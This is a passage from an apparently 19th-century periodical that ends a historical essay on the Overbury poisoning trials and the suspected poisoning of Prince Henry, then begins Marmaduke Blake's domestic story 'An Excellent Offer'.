+the death of a private person; intimating, though not plainly, that
+Overbury's untimely remove had in it something of retaliation, as if
+he had been guilty of the same crime towards Prince Henry; blessing
+himself with admiration at the horror of such actions. In which he flew
+so high a pitch that he was taken down by a court lure; Sir Thomas
+Monson's trial laid aside, and he soon after set at liberty; and the
+Lord Chief Justice's wings were clipt for it ever after." There can
+be no doubt that the conduct of Coke on these trials was used as a
+handle against him by his rival and enemy, Bacon, to deprive him of the
+royal favour; and, that the manner in which his language on the above
+and other occasions was represented (or misrepresented) to the king,
+was one cause, at least, of his removal from his office a few months
+afterwards. But this was not the only mystery connected with this
+matter.
+
+All these trials took place in close succession between the 19th of
+October and the 4th of December 1615; but the principal criminals
+were not tried till May following. During this interval the earl and
+countess were frequently examined, and many efforts were made to bring
+them to confession. On the 24th of May the countess was arraigned
+before a commission of the peers. A graphic account of her demeanour is
+given in the _State Trials_. The Clerk of the Crown addressed her:
+
+"'Frances, Countess of Somerset, hold up thy hand!'
+
+"She did so, and held it till Mr. Lieutenant told her she might put
+it down; and then he read the indictment. The Countess of Somerset,
+all the while the indictment was reading, stood, looking pale,
+trembled, and shed some tears; and at the first naming of Weston in the
+indictment, put her fan before her face, and there held it half covered
+till the indictment was read.
+
+"_Clerk._--'Frances, Countess of Somerset, what sayest thou? Art thou
+guilty of this felony and murder, or not guilty?'
+
+"The Lady Somerset, making an obeisance to the Lord High Steward,
+answered, '_Guilty_,' with a low voice, but wonderful fearful."
+
+After the proceedings consequent on this confession, she was asked in
+the usual form what she could say for herself why judgment of death
+should not be pronounced against her. Her answer was,
+
+"I can much aggravate, but nothing extenuate, my fault. I desire mercy,
+and that the lords will intercede for me with the king."
+
+"This," says the account, "she spake humbly, fearfully, and so low,
+that the Lord Steward could not hear it; but Mr. Attorney repeated it."
+
+The Lord High Steward then sentenced her to the punishment of the law.
+
+The earl's trial took place on the following day. He refused to follow
+his wife's example, and pleaded Not guilty. The most remarkable feature
+of this trial is the correspondence between Somerset and his victim.
+The following passages are striking.
+
+In Overbury's first letter to Somerset, after his imprisonment, he said,
+
+"Is this the fruit of my care and love to you? Be these the fruits
+of common secrets, common dangers? As a man, you cannot suffer me to
+lie in this misery; yet your behaviour betrays you. All I entreat of
+you is, that you will free me from this place, and that we may part
+friends. Drive me not to extremities, lest I should say something
+that you and I both repent. And I pray God that you may not repent
+the omission of this my counsel in this place whence I now write this
+letter."
+
+Overbury afterwards writes,
+
+"This comes under seal, and therefore I shall be bold. You told my
+brother Ledcate that my unreverend style might make you neglect me.
+With what face could you do this, who know you owe me for all the
+fortune, wit, and understanding that you have."
+
+       *       *       *       *       *
+
+"Yet this shall not long serve your turn; for you and I, ere it be
+long, will come to a public trial of another nature,--I upon the
+rack, and you at your ease, and yet I must say nothing! When I heard
+(notwithstanding my misery) how you went to your woman, curled your
+hair, and in the mean time send me nineteen projects how I should cast
+about for my liberty, and give me a long account of the pains you have
+taken, and then go out of town! I wonder to see how much you should
+neglect him to whom such secrets of all kinds have passed."
+
+       *       *       *       *       *
+
+"Well, all this vacation I have written the story between you and me;
+how I have lost my friends for your sake; what hazard I have run; what
+secrets have passed betwixt us; how, after you had won that woman by my
+letters, you then concealed all your after proceedings from me; and how
+upon this there came many breaches between us; of the vow you made to
+be even with me, and sending for me twice that day that I was caught
+in the trap, persuading me that it was a plot of mine enemies to send
+me beyond sea, and urging me not to accept it, assuring me to free me
+from any long trouble. On Tuesday I made an end of this, and on Friday
+sent it to a friend of mine under eight seals; and if you persist still
+to use me thus, assure yourself it shall be published. Whether I live
+or die, your shame shall never die, but ever remain to the world, to
+make you the most odious man living."
+
+Overbury is aware that he has been betrayed and entrapped, and is left
+by his treacherous patron to languish in a dungeon. He addresses him
+in the bitterest and most indignant language, and threatens him with a
+desperate and fatal revenge. He remembers, too, the threat which had
+been applied to himself; knows himself to be in the power of the man
+who used it; feels himself to be dying by inches, of maladies which the
+most rigorous confinement could not have produced; and yet it never
+enters his mind that his unscrupulous enemy may have determined, by his
+death, to get rid of him and his dangerous secrets!
+
+The evidence of Overbury's father is affecting. "After my son was
+committed," he said, "I heard that he was very sick. I went to the
+court and delivered a petition to the king, the effect whereof was,
+that, in respect of my son's sickness, some physicians might have
+access unto him. The king answered, that his own physician should go
+to him; and then instantly sent him word by Sir W. Button that his
+physician should presently go. Upon this, I only addressed myself to my
+Lord of Somerset, and none else, who said my son should be presently
+delivered, but dissuaded me from presenting any more petitions to the
+king; which notwithstanding, I (seeing his freedom still delayed) did
+deliver a petition to the king to that purpose, who said I should have
+present answer. And my Lord of Somerset told me he should be suddenly
+relieved; but with this, that neither I nor my wife must press to see
+him, because that might protract his delivery, nor deliver any more
+petitions to the king, because that might stir his enemies up against
+him; and then," added the poor old man, "he wrote a letter to my wife,
+to dissuade her from any longer stay in London."
+
+This letter was, "Mrs. Overbury,--Your stay here in town can nothing
+avail your son's delivery; therefore I would advise you to retire into
+the country, and doubt not before your coming home you shall hear he is
+a free man."
+
+Thus did this monster amuse the unhappy parents with delusive hopes
+till all was over; and he then wrote to the aged father the following
+unparalleled letter:
+
+"Sir,--Your son's love to me got him the malice of many, and they cast
+those knots on his fortune that have cost him his life; so, in a kind,
+there is none guilty of his death but I; and you can have no more cause
+to commiserate the death of a son, than I of a friend. But, though
+he be dead, you shall find me as ready as ever I was to do all the
+courtesies that I possibly can to you and your wife, or your children.
+In the mean time I desire pardon from you and your wife for your lost
+son, though I esteem my loss the greater. And for his brother that is
+in France, I desire his return, that he may succeed his brother in my
+love."
+
+Somerset defended himself stoutly. His desperate situation seems to
+have sharpened his faculties. He cross-examined the witnesses with much
+acuteness and presence of mind, made ingenious objections to their
+testimony, and laboured to explain away the facts which could not
+be denied. From eight in the morning till seven at night he exerted
+himself with an energy worthy of a better cause; but in vain. He was
+found guilty by the unanimous voice of his judges. He then desired a
+death according to his degree; but this was denied him, and he received
+the usual sentence of the law.
+
+Thus were these great criminals brought to justice; and they received,
+it may be supposed, the punishment of their crimes. No: they were
+pardoned by the king,--nay more, received especial marks of royal
+favour! They were imprisoned in the Tower till January 1621, when the
+king, by an order in council, granted them the liberty of retiring to
+a country-house. "Whereas his Majesty is graciously pleased," thus ran
+the order, "to enlarge and set at liberty the Earl of Somerset and his
+lady, now prisoners in the Tower of London, and that nevertheless it is
+thought fit that both the said earl and his lady be confined to some
+convenient place; it is therefore, according to his majesty's gracious
+pleasure and command, ordered that the Earl of Somerset and his lady
+do repair either to Greys or Cowsham, the Lord Wallingford's houses in
+the county of Oxon, and remain confined to one or other of the said
+houses, and within three miles' compass of either of the same, until
+further order be given by his majesty." In 1624, they both obtained
+full pardons; the lady, on the ground that "the process and judgment
+against her were not as of a principal, but as of an accessory before
+the fact;" and the earl, merely on the ground of the king's regard for
+his family. Nor was this all: his majesty granted the earl an income
+of four thousand pounds a-year out of his forfeited estate; and, what
+was still worse, in order to save this minion from disgrace, committed
+a gross outrage on the order of knighthood to which he belonged. "The
+king," says Camden, "ordered that the arms of the Earl of Somerset,
+notwithstanding his being condemned of felony, should not be removed
+out of the chapel at Windsor, and that felony should not be reckoned
+amongst the disgraces for those who were to be excluded from the order
+of St. George; which was without precedent." Without precedent indeed!
+
+Remembering the king's solemn vow when, kneeling in the midst of the
+judges whom he had summoned into his presence, he exclaimed, "If you
+shall spare any guilty of this crime, God's curse light on you and your
+posterity; and, if _I_ spare any that are guilty, God's curse light on
+me and my posterity for ever!" how are we to account for so flagrant
+a violation of it? Even had he not so earnestly called down the curse
+of Heaven upon his head, he was bound by the strongest obligations
+of public justice not to screen from condign punishment criminals
+so atrocious. Nor can we ascribe his failure in so sacred a duty to
+personal regard for Somerset. His attachment to him was long since
+extinguished; a newer favourite had engrossed his capricious affection.
+Fear, not love, seems to have been the cause of his forbearance.
+
+Before Somerset's trial, mysterious circumstances were remarked,
+both in his conduct and in that of the king. It is stated by several
+historians that the earl, while in the Tower, loudly asserted that the
+king durst not bring him to trial; and there is still extant a letter
+from him to the king, written immediately after his condemnation, in
+which he desires that his estate may be continued to him entire, in a
+style rather of expostulation and demand than of humble supplication.
+There is a studied obscurity in the style of this letter, as if it
+darkly hinted at things meant to be understood only by him to whom it
+was addressed; but its tone indicates that it was meant to impress the
+king with the dread of a secret which the writer had it in his power to
+reveal.
+
+The king, on the other hand, showed the most extreme anxiety about
+the earl's behaviour and the event of the trial. He himself selected
+certain persons to examine Somerset in secret, among whom was Bacon.
+They had the king's instructions to work upon the earl's obstinate
+temper by every method of persuasion and terror; now to give him hopes
+of the king's compassion and mercy, and now to impress him with the
+certainty of conviction and punishment. Moreover, the king ordered
+Bacon (then Attorney-General) to put in writing every possible case
+which might arise at the trial out of Somerset's behaviour. Bacon
+accordingly drew up a paper of this sort, on which the king with his
+own hand made some marginal notes. Bacon having said, "All these
+points of mercy and favour to Somerset are to be understood with this
+limitation,--if he do not, by his contemptuous and insolent carriage
+at the bar, make himself incapable and unworthy of them," the king's
+remark in the margin was, "That danger is well to be foreseen, lest he
+upon one part commit unpardonable errors, and I on the other part seem
+to punish him in the spirit of revenge." Why this solicitude to prevent
+the "danger" of Somerset's adopting a "contemptuous and insolent
+carriage at the bar?" And what were the "unpardonable errors" it might
+lead him to commit? No error could be so unpardonable as the crime he
+had already committed; and we are led, therefore, to the inference that
+the king wished it to be understood, that though he was ready to pardon
+the crime of which Somerset should be convicted, provided he conducted
+himself _discreetly_ on his trial, yet an error _on this score_ should
+be held as unpardonable.
+
+Notwithstanding all these precautions and pains taken to bring Somerset
+to a _safe_ frame of mind, he appears to have been very untractable;
+and the king's dread of his conduct during his trial, and anxiety to
+know the result, seem to have amounted to agony. His behaviour cannot
+be so well described as in the words of Sir Anthony Weldon.
+
+"And now for the last act enters Somerset himself upon the stage, who,
+being told, as the manner is, by the lieutenant, that he must provide
+to go next day to his trial, did absolutely refuse it, and said they
+should carry him in his bed; that the king had assured him he should
+not come to any trial, neither durst the king to bring him to trial.
+This was in a high strain, and in a language not well understood by
+George Moore, [Sir George Moore, lieutenant in the room of Elwes,] that
+made Moore quiver and shake; and, however he was accounted a wise man,
+yet he was near at his wit's end. Yet away goes Moore to Greenwich, as
+late as it was, being twelve at night; bounceth at the back-stairs as
+if mad; to whom came Jo. Loveston, one of the grooms, out of his bed,
+inquiring the reason of that distemper at so late a season. Moore tells
+him he must speak with the king. Loverton replies, 'He is quiet,' which
+in the Scottish dialect is, fast asleep. Moore says, 'You must wake
+him.' Moore was called in (the chamber left to the king and Moore). He
+tells the king those passages, and desired to be directed by the king,
+for he was gone beyond his own reason to hear such bold and undutiful
+expressions from a faulty subject against a just sovereign. The king
+falls into a passion of tears: 'On my soul, Moore, I wot not what to
+do: thou art a wise man; help me in this great strait, and thou shalt
+find thou dost it for a thankful master;' with other sad expressions.
+Moore leaves the king in that passion, but assures him he will prove
+the utmost of his wit to serve his majesty. Sir George Moore returns to
+Somerset about three o'clock next morning of that day he was to come
+to trial, enters Somerset's chamber, tells him he had been with the
+king, found him a most affectionate master unto him, and full of grace
+in his intentions towards him. 'But,' said he, 'to satisfy justice you
+must appear, although you return instantly again without any further
+procedure; only you shall know your enemies and their malice, though
+they shall have no power over you.' With this trick of wit he allayed
+his fury, and got him quietly, about eight in the morning, to the
+Hall; yet feared his former bold language might revert again, and,
+being brought by this trick into the toil, might have more enraged
+him to fly out into some strange discovery, that he had two servants
+placed on each side of him, with a cloak on their arms, giving them
+a peremptory order that if Somerset did any way fly out on the king,
+they should instantly hoodwink him with that cloak, take him violently
+from the bar, and carry him away; for which he would secure them from
+any danger, and they should not want a bountiful reward. But the earl,
+finding himself overreached, recollected a better temper, and went on
+calmly in his trial, where he held the company until seven at night.
+But who had seen the king's restless motion all that day, sending to
+every boat he saw landing at the bridge, and cursing all that came
+without tidings, would have easily judged all was not right, and that
+there had been some grounds for his fear of Somerset's boldness. But at
+last one bringing him word he was condemned, and the passages, all was
+quiet."
+
+The reader will remember that the abrupt termination of the proceedings
+against Sir Thomas Monson, who was carried off from the bar by a party
+of yeomen of the guard, was caused by the Lord Chief Justice's having
+made some indiscreet allusion to suspicions regarding the death of
+Prince Henry, the king's eldest son, which had taken place in 1612,
+about four years before the time of these trials.
+
+This young prince at a very early age displayed talents and virtues
+which endeared him to the nation. The accounts of his short life are
+pleasing and interesting. He was thus described when he was twelve
+years old, in a letter from the French ambassador. "None of his
+pleasures savour in the least of a child. He is a particular lover of
+horses, and what belongs to them; but is not fond of hunting; and, when
+he does engage in it, it is rather for the pleasure of galloping than
+for any which the dogs give him. He is fond of playing at tennis, and
+at another Scotch diversion very like mall;[20] but always with persons
+older than himself, as if he despised those of his own age. He studies
+two hours in the day, and employs the rest of his time in tossing the
+pike, or leaping, or shooting with the bow, or throwing the bar, or
+vaulting, or some other exercise of that kind; and he is never idle.
+He is very kind to his dependents, supports their interests against
+all persons whatsoever, and urges all that he undertakes for them or
+others with such zeal as ensures it success; for, besides his exerting
+his whole strength to compass what he desires, he is already feared by
+those who have the management of affairs, and especially by the Earl
+of Salisbury, who appears to be greatly apprehensive of the prince's
+ascendency; as the prince, on the other hand, shows little esteem for
+his lordship." This high-spirited and magnanimous boy could not fail
+to be aware of the faults and vices of his father's character. He
+entertained great admiration for Sir Walter Raleigh; was often heard
+to exclaim, "No king but my father would keep such a bird in a cage;"
+and his aversion to the Earl of Salisbury was understood to have
+arisen from that nobleman's share in Raleigh's ruin.[21] His strong
+sense of religion rendered his father's habit of profane swearing
+repulsive to him. "Once," we are told by Coke, "when the prince was
+hunting the stag, it chanced the stag, being spent, crossed the road
+where a butcher and his dog were travelling. The dog killed the stag,
+which was so great that the butcher could not carry him off. When the
+huntsman and the company came up, they fell at odds with the butcher,
+and endeavoured to incense the prince against him; to whom the prince
+soberly replied, 'What! if the butcher's dog killed the stag, how could
+the butcher help it?' They replied, if his father had been served so,
+he would have sworn as no man could have endured it. 'Away!' replied
+the prince, 'all the pleasure in the world is not worth an oath.'"
+
+A young prince, who, at twelve years old, was "feared by those who
+had the management of affairs," must, when he grew up, have been a
+formidable object to a worthless minion like Carr. He disliked this man
+from the first; and his aversion grew into a rooted hatred. When Carr
+was made Viscount Rochester, Henry, then about fourteen, as we are told
+by Osborn, "contemned so far his father's election of Rochester, that
+he was reported either to have struck him on the back with his racket,
+or very hardly forborne it." The prince continued to express on all
+occasions an abhorrence of favourites, and an utter contempt of Carr;
+and made no secret of his resolution to humble both him and the family
+into which he was allied if ever he came to the throne.
+
+Carr, then, must necessarily have feared and hated the prince; and it
+is hardly to be supposed that such feelings would remain passive in
+a mind like his. Henry did not enjoy his father's favour. The king's
+"genius was rebuked" in the presence of a son so much his superior
+in every moral and intellectual quality; and he was jealous of the
+esteem and admiration in which the youth was held by the nation. "The
+vivacity, spirit, and activity of the prince," says Dr. Birch, "soon
+gave umbrage to his father's court, which grew extremely jealous of
+him."--"The king," says Osborn, "though he would not deny any thing the
+prince plainly desired, yet it appeared rather the result of fear and
+outward compliance than love or natural affection; being harder drawn
+to confer an honour or pardon, in cases of desert, upon a retainer
+of the prince, than a stranger." The prince himself, in a letter
+written within a few weeks of his death, excused himself from applying
+on behalf of a friend, for some piece of court favour, "because, as
+matters now go here, I will deal in no businesses of importance for
+some respects." At this time Carr was in the height of his power; and
+this position of the prince at his father's court must be ascribed in
+no small degree to the influence of the favourite.
+
+Prince Henry died on the 6th of November 1612, (at the age of
+eighteen,) of an illness under which he had laboured for two or three
+weeks. The symptoms (as detailed by Dr. Birch in his Life of the
+prince) were of the most violent kind; dreadful affections of the
+stomach and bowels, excessive thirst, burning heat, blackness of the
+tongue, convulsions, and delirium. The physicians "could not tell what
+to make of the distemper," were confounded by "the strangeness of the
+disease," and differed in their opinions as to its treatment. The day
+after the prince's death his body was opened by order of the king; and
+the report of the physicians who examined it does not indicate the
+operation of poison. They say, in particular, "his stomach was without
+any manner of fault or imperfection."
+
+The grief of the nation pervaded all ranks, and almost all parties. The
+king himself, however, manifested the utmost insensibility. Only three
+days after the prince's death, Carr (then Lord Rochester) wrote, by
+the king's orders, to the English ambassador at Paris, directing him
+to resume the marriage treaty, which had been begun for Prince Henry,
+in the name of his brother Charles. After a very short interval, all
+persons were prohibited from appearing in mourning before the king; and
+orders were given that the preparations for the Christmas festivities
+should proceed without interruption. The Earl of Dorset, in a letter
+written at this time to the English ambassador in France, uses these
+expressions: "That our rising sun is set ere scarcely he had shone, and
+that with him all our glory lies buried, you know and do lament as well
+as we; _and better than some do, and more truly_, or else you are not a
+man, and sensible of this kingdom's loss."
+
+Suspicions that the young prince had come foully by his death became
+prevalent immediately after that event. They were by no means of that
+vague and unmeaning kind which the untimely end of an illustrious
+person is apt to occasion among the vulgar. "The queen," says Dr.
+Welwood, "to her dying day could never be dissuaded from the opinion
+that her beloved son had foul play done him." Bishop Burnet, in his
+History of his own time, says, that Charles the First declared that the
+prince, his brother, had been poisoned by the means of the Viscount
+Rochester, afterwards Earl of Somerset. And contemporary writers afford
+innumerable proofs of this opinion having been entertained by persons
+engaged in public affairs, and conversant with the transactions of the
+time.
+
+The opinions of modern writers, as may be supposed, are divided on a
+question so dark and mysterious. "Violent reports were propagated,"
+says Hume, "as if Henry had been carried off by poison; but the
+physicians, on opening his body, found no symptoms to confirm such
+an opinion. The bold and criminal malignity of men's tongues and pens
+spared not even the king on the occasion; but that prince's character
+seems rather to have failed in the extreme of facility and humanity,
+than in that of cruelty and violence." Hume's facts, it is notorious,
+often assume the colouring of his political feelings; of which a pretty
+strong instance occurs in this very case of Sir Thomas Overbury,
+whose imprisonment in the Tower, says this historian, "James intended
+as _a slight punishment for his disobedience_" in refusing to go as
+ambassador to Russia. James ordered Overbury to be most rigorously
+confined, and even sent a gentleman to the Tower for having simply
+exchanged a word with the prisoner. Nay, more: James knew all along
+that Overbury was languishing in his dungeon; having received, and
+disregarded, repeated petitions from his afflicted father for his
+release. And this, according to Hume, was intended by James as a slight
+punishment for what was, in truth, no offence.
+
+In the preface, by Lord Holland, to Fox's History of the early
+part of the reign of James the Second, we find the opinion of that
+illustrious statesman upon the subject. Lord Holland, speaking of Mr.
+Fox's historical researches, and his correspondence with the Earl of
+Lauderdale and others of his friends respecting them, says: "Even while
+his undertaking was yet fresh, in the course of an inquiry into some
+matters relating to the trial of Somerset, in King James the First's
+reign, he says to his correspondent, 'But what is all this, you will
+say, to my history? Certainly nothing; but one historical inquiry leads
+to another: and I recollect that the impression upon my mind was, that
+there was more reason than is generally allowed for suspecting that
+Prince Henry was poisoned by Somerset, and that the king knew of it
+after the fact. This is not, to be sure, to my present purpose; but I
+have thought of prefixing to my work, if ever it should be finished, a
+disquisition upon Hume's history of the Stuarts; and in no part of it
+would his partiality appear stronger than in James the First.'"
+
+For ourselves, we shall not pretend to penetrate a mystery which is
+now, perhaps, for ever inscrutable. But the events which we have
+related form an impressive and instructive page of the great book of
+human life.
+
+The guilty pair, who were the chief actors in these tragic scenes,
+though they escaped the death which they had merited, did not escape,
+even in life, the retribution of their crimes. They suffered "a living
+death." For many years they resided together, in the house allotted to
+them as their place of banishment, detested by the world and by each
+other. The unceasing torments of an evil conscience were embittered by
+mutual hatred so rancorous and implacable, that they passed year after
+year in the same dwelling without the interchange of a single word.
+Their doom may be likened to that so fearfully described in the tale of
+the Caliph Vathek. It seemed as if their punishment was begun ere yet
+they had tasted of death. The everlasting fire was already burning in
+their hearts; hope, the last and most precious of Heaven's blessings,
+had forsaken them for ever; and they read in each other's eyes nothing
+but rage, aversion, and despair. So they lived, in seclusion and
+solitude, till their existence was forgotten; and, of those who have
+commemorated their crimes, hardly any one has cared to record the
+periods when, one after the other, they dropped into eternity.
+
+FOOTNOTES:
+
+[Footnote 19: This close imprisonment, it must be observed, was not the
+unauthorised act of a subordinate, but the result of an express order
+from the king: and his majesty was equally rigorous in enforcing as in
+issuing this order; for Winwood tells us that "Sir Robert Killigrew was
+committed to the Fleet _from the council-table_ for having some little
+speech with Sir Thomas Overbury, who called to him as he passed by his
+window, as he came from visiting Sir Walter Raleigh."]
+
+[Footnote 20: The national, and still favourite game of _golf_.]
+
+[Footnote 21: The king afterwards stripped Raleigh of his estate for
+the purpose of bestowing it upon his favourite, Carr. "When the Lady
+Raleigh and her children on their knees implored the king's compassion,
+they could get no other answer from him but that he '_mun ha_ the
+land,' he '_mun ha_ it for Carr!' But let it be remembered, too, that
+Prince Henry, who had all the amiable qualities his father wanted,
+never left soliciting him till he had obtained the manor of Sherborne,
+with an intention to restore it to Raleigh, its just owner; though by
+his untimely death this good intention did not take effect."--_Life of
+Raleigh._]
+
+
+
+
+AN EXCELLENT OFFER.
+
+BY MARMADUKE BLAKE.
+
+
+"It's an excellent offer--so plain and handsome!"
+
+The above contradictory description was applied by Mrs. Gibbs to the
+contents of a letter which a few hours previously, had been received by
+her husband, Mr. John Gibbs, of Adelaide Crescent, Camberwell.
+
+Mr. and Mrs. Gibbs were rather elderly: a stranger would have taken
+them to be brother and sister; for, having lived together during the
+greater part of a long life, not only had their habits and modes of
+thought become congenial, but even the expression of their respective
+features had assumed a strong resemblance.
+
+On the evening in which it is our purpose to introduce the reader to
+their acquaintance, Mr. and Mrs. Gibbs occupied the precise position
+which they had at the same hour occupied evening after evening for the
+preceding forty years; that is, Mrs. Gibbs was by the side of the table
+with her "work," and Mr. Gibbs sate with his feet upon the fender, an
+open book by his side, on which his spectacles were deposited, while
+his body was assuming a backward inclination, which was occasionally
+checked by a sudden bobbing forward of the head, accompanied by a
+pulmonary effort of a most profound description.
+
+"A little more, and I should have been asleep," said Mr. Gibbs; and,
+as the remark had escaped from the lips of that gentleman once every
+evening during nearly half a century, it did not seem to Mrs. Gibbs to
+call for any particular reply.
+
+"I was speaking, my dear," said she, "of Mr. Paine's offer."
+
+"And I," responded Mr. Gibbs, "was thinking upon the very same subject
+at the moment when you spoke; I was thinking that we must keep our eyes
+open to the advantages which are now presented."
+
+Mr. Gibbs took a glass of wine, resumed his horizontal position, and
+seemed disposed to nod.
+
+"Well, my dear,--now do rouse up,--if we are to accept Mr. Paine as a
+son-in-law, what will young Langton say to us?"
+
+"I hope," said Mr. Gibbs, rubbing his eyes and yawning most
+uncomfortably,--"I hope Mr. Langton doesn't dream----"
+
+"Why, my dear," interrupted the lady, "you must allow, we _have_ given
+him a little encouragement."
+
+"Not at all--not at all," was the reply; "nothing could be further from
+my intention: if indeed he had such an idea as you seem to intimate,
+I'm sure it has never been encouraged by me; he may have fancied
+otherwise, but anything of the sort on my part was mere manner, I
+assure you."
+
+Mrs. Gibbs seemed satisfied, and the conversation on Mr. Paine's offer
+was resumed.
+
+"He is so very respectable," said Mr. Gibbs, "and at a very suitable
+age for Caroline; two giddy people together would never do any good: I
+don't think much good ever comes of early marriages."
+
+"We were neither of us of age when we married," interposed Mrs. Gibbs:
+"I hope you consider that case to have been an exception."
+
+Mr. Gibbs was still dozy, and he nodded his head just at the right
+moment. The lady continued.
+
+"If I were asked to _choose_ a husband for my daughter, I shouldn't
+hesitate to give her Paine."
+
+"Nor I either," replied Gibbs, who misunderstood his wife; "it would be
+entirely for her own good."
+
+"He is a very pleasant man," ruminated Mrs. Gibbs.
+
+"He has a thorough knowledge of the world, a great deal of philosophy,
+and----"
+
+"A nice house in the Regent's Park."
+
+We need not further pursue the interesting dialogue; suffice it to
+say that it terminated in a decision favourable to Mr. Paine, and a
+comfortable belief that if Mr. Charles Langton should go out of his
+mind, it would be entirely his own fault, as any encouragement which
+he might fancy to have been given, was only to be attributed to Mr.
+Gibbs's "manner."
+
+Mr. and Mrs. Gibbs were "early people;" the clock struck ten, the
+housemaid and cook were heard ascending to their places of repose.
+Mrs. Gibbs followed, while her husband commenced, according to nightly
+custom, a perambulation in the dark, in order to see that everything
+was right; and having descended into the kitchen, and peeped into the
+cellar, and put his foot into a dish of water and red wafers set as a
+black-beetle trap, and knocked his forehead against a half-open door,
+he felt, as he said, satisfied in his mind, and could go to sleep in
+the most comfortable manner.
+
+"What a beautiful night!" said the gentleman as he placed the
+extinguisher on his candle and the bright light of the moon entered his
+dressing-room. He manifested, however, no romantic desire to sit and
+watch her silent progress, so in a short time her beams were falling on
+the unconscious features of Mr. and Mrs. Gibbs.
+
+The night was beautiful indeed,--so beautiful that we can only hope to
+bring it to the mind's eye of our matter-of-fact friends by stating
+that it was one of those evenings when the moon attains a brilliancy so
+extraordinary, that "you may see to pick up a pin;" having arrived at
+which point, we have been accustomed to believe lunar brightness can no
+further go.
+
+The number of moonlight nights which shed their influence upon us
+during a passing year is of very small amount; and yet, when we suffer
+memory to look through "the waves of time," how much of moonlight is
+brought upon the mind. Day after day passes away, and although they
+give birth to new events and unlooked-for changes, yet they leave no
+more impression behind than we should experience after a survey of
+the fragmental patterns of a kaleidoscope,--each movement produces a
+variation, but there is nevertheless a general sameness of character
+which is altogether destructive of a permanent effect;--but in the
+lives of all men there have been moonlight "passages" which stand
+alone in their recollection, and which come upon them in after years,
+remembered as the periods when the heart, escaping from the stifling
+struggles of daily life, assumed a freer action,--moments in which they
+made resolutions which perhaps were broken, but which nevertheless it
+is some credit to them only to have made.
+
+By daylight we are apt to consider mankind in the mass; by moonlight
+we invariably individualize,--we feel more deeply how mysteriously we
+stand, lonely in the midst of countless multitudes, and we draw more
+closely to our hearts those who have sought to lighten
+
+    "The heavy and the weary weight
+    Of all this unintelligible world."
+
+Reader, when you take a retrospect of life, we will answer for it
+that your fancy turns to some moonlight game with happy schoolfellows
+beneath a row of ancient elms, which threw their long cold shadows
+upon the greensward by the side of a village church. Let your fancy
+wander on, there is moonlight still: you roam, perchance, near the same
+church, and a gentle maiden is by your side; but you do not choose the
+elm-walk now, because the "school-boys" divert themselves thereon, and
+you prefer a semi-solitary stroll. Onward still: you are mixing in the
+bustle and heat of life; and there are moonlight hours when the thought
+of your vain career comes upon your mind, and you form in your heart
+new resolves, and pant with higher aspirations. Onward once more: and
+the scene is drawing to a close, the mist is on your sight, and memory
+wanders o'er a field of graves; and now how often do you lift your
+aching eyes to the silent and trembling stars, and suffer fancies to
+dwell upon your mind, that perchance from those orbs the spirits of the
+dead may be permitted to look down!
+
+We only intended to venture a few words upon this subject, but we are
+afraid that we have written a "discourse."
+
+There is a range of hill running from Westerham to Sevenoaks, the
+neighbourhood of which abounds with quiet scenery of surpassing beauty;
+and during the period in which Mr. and Mrs. Gibbs's dialogue took
+place, the young lady to whom it referred was indulging in a pleasant
+stroll in the garden of a cottage which stood in one of the little
+valleys at the foot of this range, and in which dwelt the parents of
+the young gentleman who was the companion of her walk, and who was the
+identical person whom Mr. Gibbs so strenuously stated to have received
+no "encouragement" whatever.
+
+They wandered round a lawn encircled by a shrubbery path, which was
+glittering in the silver light: they were very silent, but they
+felt all that youth can feel, although an occasional exclamation of
+"How beautiful this is!" was all that mutually escaped their lips.
+A midsummer night and a garden-path are capable of imparting much
+power to the most delicate young ladies; and instances are by no
+means rare of some who would have shrunk from the prospect of an
+excursion extending to a mile from home, who will nevertheless stroll
+unrepiningly in company with a cousin or a friend two or three hundred
+times round a gravel-walk!
+
+There was a happy family within doors,--brothers and sisters,--the
+light from the cottage-windows shining on the shrubs in front, and the
+merry laugh sounding from within: occasionally they were interrupted
+in their stroll, and messages were sent to know "whether they were
+coming in,--and that the grass was wet, and the night-air dangerous,
+and Miss Gibbs very delicate," &c. &c. &c.; to which messages replies
+were given that "they were _not_ walking on the grass, and that the
+air was exceedingly mild, and that Miss Gibbs had a headache, and
+found herself better out of doors;" and then they were told that it
+was past ten o'clock,--and they promised to come in directly; and Mr.
+Langton only asked Caroline to take one turn more, and during that time
+he took Miss Gibbs's arm; and then he must walk once more round, and
+"this should positively be the last;" and so they took another turn,
+and this time his arm gently encircled her waist; and as they came in,
+there was a little hesitation while they were scraping their feet,
+and Caroline upon entering looked a little confused, and Mr. Langton
+seemed remarkably buoyant, and he rattled on for an hour or two, till
+his mother declared that there was "no getting him to bed;" and after
+Caroline and his mother and sisters had retired, he entered into an
+elaborate speech to his father concerning his prospects in life, which
+was only discontinued upon the discovery that his respectable parent
+had been asleep for upwards of an hour.
+
+The reader who compares the stern reality of our opening scene with the
+poetic character of that by which it was succeeded, will have little
+difficulty in anticipating the result: the first disclosed the decision
+upon a plan which it had long been the chief object of a worldly man
+to effect; the latter was the idle dream of a boy and girl who knew
+nothing of the world, and still less of themselves.
+
+On the morning subsequent to his moonlight walk, cool reflection had
+operated on the mind of Mr. Langton so far as to reduce the ardour with
+which he desired to communicate to his father his design of immediately
+entering into some active pursuit, with the view of sharing with an
+amiable partner an income which he was quite sure he could not fail
+to realize, but which as yet existed only in his own imagination.
+Nevertheless, although the daylight had thus produced its usual effect,
+and had given a matter-of-fact turn to his thoughts, he felt that he
+really did love Caroline, although it might be prudent to wait some
+few years before he made a formal declaration to that effect. Like
+most other young persons, he imagined that it was the easiest thing in
+the world to live on with unshaken affection, however distant might be
+the realization of his hopes: he was little aware of the numberless
+and apparently trivial influences which, during a period of prolonged
+separation or suspense, tend effectually to give a new colour to the
+views of those who have thus drawn upon futurity.
+
+As he seated himself at the breakfast-table, he received from Caroline,
+in return for one of those
+
+              "Looks and signs
+    We see and feel, but none defines,"
+
+a very kind glance, which assured him that he was the object of kind
+thoughts: he fancied that Fate had already twined the wreath that was
+to bring their happy fortune within one bright round,--that their love
+would be sanctified by the very difficulties with which he might have
+to contend before he could make her his wife,--that, with her as the
+reward of his exertions, he could not fail to succeed, and that to her
+influence alone he should proudly attribute whatever honours he might
+ultimately gain:--that look across the breakfast-table, unobserved by
+others, was the source from whence his imagination found no difficulty
+in tracing the Nile-like current of his future career!
+
+We want to compress into one paper, events which were brought about by
+the course of several years; we must therefore hurry the reader over a
+few facts which perhaps he will have anticipated already.
+
+Shortly after the consultation between Mr. and Mrs. Gibbs, Caroline
+received a letter from them, written in a tone of more than ordinary
